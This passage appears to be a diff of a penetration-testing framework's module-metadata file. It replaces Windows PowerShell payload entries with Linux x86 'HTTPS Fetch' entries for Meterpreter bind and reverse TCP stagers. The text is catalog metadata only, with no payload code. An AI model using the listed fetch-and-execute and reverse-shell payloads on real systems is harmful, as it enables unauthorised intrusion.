+ "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/powershell/adduser",
+ "ref_name": "cmd/linux/https/x86/chmod",
"check": false,
- "post_auth": true,
+ "post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x86",
+ "adapted_refname": "linux/x86/chmod",
+ "staged": false
},
- "payload_cmd/windows/powershell/custom/bind_hidden_ipknock_tcp": {
- "name": "Powershell Exec, Windows shellcode stage, Hidden Bind Ipknock TCP Stager",
- "fullname": "payload/cmd/windows/powershell/custom/bind_hidden_ipknock_tcp",
+ "payload_cmd/linux/https/x86/exec": {
+ "name": "HTTPS Fetch, Linux Execute Command",
+ "fullname": "payload/cmd/linux/https/x86/exec",
"aliases": [
],
@@ -179287,38 +181282,41 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "bwatters-r7",
- "hdm ",
- "skape ",
- "sf ",
- "Borja Merino "
+ "vlad902 ",
+ "Geyslan G. Bem "
],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode",
+ "description": "Fetch and execute an x86 payload from an HTTPS server.\nExecute an arbitrary command or just a /bin/sh shell",
"references": [
-
+ "URL-https://github.com/geyslan/SLAE/blob/master/4th.assignment/tiny_execve_sh.asm",
+ "URL-https://github.com/geyslan/SLAE/blob/master/improvements/x86_execve_dyn.asm"
],
- "platform": "Windows",
+ "platform": "Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/powershell/custom/bind_hidden_ipknock_tcp",
+ "ref_name": "cmd/linux/https/x86/exec",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x86",
+ "adapted_refname": "linux/x86/exec",
+ "staged": false
},
- "payload_cmd/windows/powershell/custom/bind_hidden_tcp": {
- "name": "Powershell Exec, Windows shellcode stage, Hidden Bind TCP Stager",
- "fullname": "payload/cmd/windows/powershell/custom/bind_hidden_tcp",
+ "payload_cmd/linux/https/x86/generic/debug_trap": {
+ "name": "HTTPS Fetch, Generic x86 Debug Trap",
+ "fullname": "payload/cmd/linux/https/x86/generic/debug_trap",
"aliases": [
],
@@ -179326,38 +181324,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "bwatters-r7",
- "hdm ",
- "skape ",
- "sf ",
- "Borja Merino "
+ "robert "
],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.",
+ "description": "Fetch and execute an x86 payload from an HTTPS server.\nGenerate a debug trap in the target process",
"references": [
],
- "platform": "Windows",
+ "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/powershell/custom/bind_hidden_tcp",
+ "ref_name": "cmd/linux/https/x86/generic/debug_trap",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x86",
+ "adapted_refname": "generic/debug_trap",
+ "staged": false
},
- "payload_cmd/windows/powershell/custom/bind_ipv6_tcp": {
- "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager (Windows x86)",
- "fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp",
+ "payload_cmd/linux/https/x86/generic/tight_loop": {
+ "name": "HTTPS Fetch, Generic x86 Tight Loop",
+ "fullname": "payload/cmd/linux/https/x86/generic/tight_loop",
"aliases": [
],
@@ -179365,37 +181364,39 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "bwatters-r7",
- "hdm ",
- "skape ",
- "sf "
+ "jduck "
],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection (Windows x86)",
+ "description": "Fetch and execute an x86 payload from an HTTPS server.\nGenerate a tight loop in the target process",
"references": [
],
- "platform": "Windows",
+ "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp",
+ "ref_name": "cmd/linux/https/x86/generic/tight_loop",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x86",
+ "adapted_refname": "generic/tight_loop",
+ "staged": false
},
- "payload_cmd/windows/powershell/custom/bind_ipv6_tcp_uuid": {
- "name": "Powershell Exec, Windows shellcode stage, Bind IPv6 TCP Stager with UUID Support (Windows x86)",
- "fullname": "payload/cmd/windows/powershell/custom/bind_ipv6_tcp_uuid",
+ "payload_cmd/linux/https/x86/meterpreter/bind_ipv6_tcp": {
+ "name": "HTTPS Fetch, Bind IPv6 TCP Stager (Linux x86)",
+ "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_ipv6_tcp",
"aliases": [
],
@@ -179403,38 +181404,43 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "bwatters-r7",
- "hdm ",
- "skape ",
- "sf ",
- "OJ Reeves"
+ "William Webb ",
+ "kris katterjohn ",
+ "egypt "
],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for an IPv6 connection with UUID Support (Windows x86)",
+ "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for an IPv6 connection (Linux x86)",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/powershell/custom/bind_ipv6_tcp_uuid",
+ "ref_name": "cmd/linux/https/x86/meterpreter/bind_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x86",
+ "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/bind_ipv6_tcp"
},
- "payload_cmd/windows/powershell/custom/bind_named_pipe": {
- "name": "Powershell Exec, Windows shellcode stage, Windows x86 Bind Named Pipe Stager",
- "fullname": "payload/cmd/windows/powershell/custom/bind_named_pipe",
+ "payload_cmd/linux/https/x86/meterpreter/bind_ipv6_tcp_uuid": {
+ "name": "HTTPS Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)",
+ "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_ipv6_tcp_uuid",
"aliases": [
],
@@ -179442,35 +181448,44 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "bwatters-r7",
- "UserExistsError"
+ "William Webb ",
+ "kris katterjohn ",
+ "egypt ",
+ "OJ Reeves"
],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a pipe connection (Windows x86)",
+ "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for an IPv6 connection with UUID Support (Linux x86)",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/powershell/custom/bind_named_pipe",
+ "ref_name": "cmd/linux/https/x86/meterpreter/bind_ipv6_tcp_uuid",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x86",
+ "adapted_refname": "linux/x86/meterpreter/bind_ipv6_tcp_uuid",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/bind_ipv6_tcp_uuid"
},
- "payload_cmd/windows/powershell/custom/bind_nonx_tcp": {
- "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (No NX or Win7)",
- "fullname": "payload/cmd/windows/powershell/custom/bind_nonx_tcp",
+ "payload_cmd/linux/https/x86/meterpreter/bind_nonx_tcp": {
+ "name": "HTTPS Fetch, Bind TCP Stager",
+ "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_nonx_tcp",
"aliases": [
],
@@ -179478,35 +181493,42 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "bwatters-r7",
- "vlad902 "
+ "William Webb ",
+ "skape "
],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (No NX)",
+ "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/powershell/custom/bind_nonx_tcp",
+ "ref_name": "cmd/linux/https/x86/meterpreter/bind_nonx_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x86",
+ "adapted_refname": "linux/x86/meterpreter/bind_nonx_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/bind_nonx_tcp"
},
- "payload_cmd/windows/powershell/custom/bind_tcp": {
- "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (Windows x86)",
- "fullname": "payload/cmd/windows/powershell/custom/bind_tcp",
+ "payload_cmd/linux/https/x86/meterpreter/bind_tcp": {
+ "name": "HTTPS Fetch, Bind TCP Stager (Linux x86)",
+ "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_tcp",
"aliases": [
],
@@ -179514,37 +181536,43 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "bwatters-r7",
- "hdm ",
+ "William Webb ",
"skape ",
- "sf "
+ "egypt "
],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection (Windows x86)",
+ "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection (Linux x86)",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/powershell/custom/bind_tcp",
+ "ref_name": "cmd/linux/https/x86/meterpreter/bind_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x86",
+ "adapted_refname": "linux/x86/meterpreter/bind_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/bind_tcp"
},
- "payload_cmd/windows/powershell/custom/bind_tcp_rc4": {
- "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)",
- "fullname": "payload/cmd/windows/powershell/custom/bind_tcp_rc4",
+ "payload_cmd/linux/https/x86/meterpreter/bind_tcp_uuid": {
+ "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Linux x86)",
+ "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_tcp_uuid",
"aliases": [
],
@@ -179552,39 +181580,44 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "bwatters-r7",
- "hdm ",
+ "William Webb ",
"skape ",
- "sf ",
- "mihi",
- "RageLtMan"
+ "egypt ",
+ "OJ Reeves"
],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection",
+ "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection with UUID Support (Linux x86)",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/powershell/custom/bind_tcp_rc4",
+ "ref_name": "cmd/linux/https/x86/meterpreter/bind_tcp_uuid",
"check": false,
- "post_auth": true,
+ "post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x86",
+ "adapted_refname": "linux/x86/meterpreter/bind_tcp_uuid",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/bind_tcp_uuid"
},
- "payload_cmd/windows/powershell/custom/bind_tcp_uuid": {
- "name": "Powershell Exec, Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x86)",
- "fullname": "payload/cmd/windows/powershell/custom/bind_tcp_uuid",
+ "payload_cmd/linux/https/x86/meterpreter/find_tag": {
+ "name": "HTTPS Fetch, Find Tag Stager",
+ "fullname": "payload/cmd/linux/https/x86/meterpreter/find_tag",
"aliases": [
],
@@ -179592,36 +181625,42 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "bwatters-r7",
- "hdm ",
- "OJ Reeves"
+ "William Webb ",
+ "skape "
],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nListen for a connection with UUID Support (Windows x86)",
+ "description": "Fetch and execute an x86 payload from an HTTPS server.\nUse an established connection",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/powershell/custom/bind_tcp_uuid",
+ "ref_name": "cmd/linux/https/x86/meterpreter/find_tag",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x86",
+ "adapted_refname": "linux/x86/meterpreter/find_tag",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/find_tag"
},
- "payload_cmd/windows/powershell/custom/find_tag": {
- "name": "Powershell Exec, Windows shellcode stage, Find Tag Ordinal Stager",
- "fullname": "payload/cmd/windows/powershell/custom/find_tag",
+ "payload_cmd/linux/https/x86/meterpreter/reverse_ipv6_tcp": {
+ "name": "HTTPS Fetch, Reverse TCP Stager (IPv6)",
+ "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_ipv6_tcp",
"aliases": [
],
@@ -179629,35 +181668,42 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "bwatters-r7",
- "skape "
+ "William Webb ",
+ "kris katterjohn "
],
- "description": "Execute an x86 payload from a command via PowerShell.\n\nCustom shellcode stage.\n\nUse an established connection",
+ "description": "Fetch and execute an x86 payload from an HTTPS server.\nConnect back to attacker over IPv6",
"references": [
],
- "platform": "Windows",
+ "platform": "Linux,Linux",
"arch": "cmd",
"rport": null,
"autofilter_ports": null,
"autofilter_services": null,
"targets": null,
- "mod_time": "2022-05-27 16:41:25 +0000",
- "path": "/modules/payloads/adapters/cmd/windows/powershell.rb",
+ "mod_time": "2023-06-09 16:47:45 +0000",
+ "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb",
"is_install_path": true,
- "ref_name": "cmd/windows/powershell/custom/find_tag",
+ "ref_name": "cmd/linux/https/x86/meterpreter/reverse_ipv6_tcp",
"check": false,
"post_auth": false,
"default_credential": false,
"notes": {
},
"session_types": false,
- "needs_cleanup": false
+ "needs_cleanup": false,
+ "payload_type": 8,
+ "adapter_refname": "cmd/linux/https/x86",
+ "adapted_refname": "linux/x86/meterpreter/reverse_ipv6_tcp",
+ "staged": true,
+ "stage_refname": "linux/x86/meterpreter",
+ "stager_refname": "linux/x86/reverse_ipv6_tcp"
},
- "payload_cmd/windows/powershell/custom/reverse_hop_http": {
- "name": "Powershell Exec, Windows shellcode stage, Reverse Hop HTTP/HTTPS Stager",
- "fullname": "payload/cmd/windows/powershell/custom/reverse_hop_http",
+ "payload_cmd/linux/https/x86/meterpreter/reverse_nonx_tcp": {
+ "name": "HTTPS Fetch, Reverse TCP Stager",
+ "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_nonx_tcp",
"aliases": [
],
@@ -179665,37 +181711,42 @@
"disclosure_date": null,
"type": "payload",
"author": [
+ "Brendan Watters",
"Spencer McIntyre",
- "bwatters-r7",
- "scriptjunkie ",
- "bannedit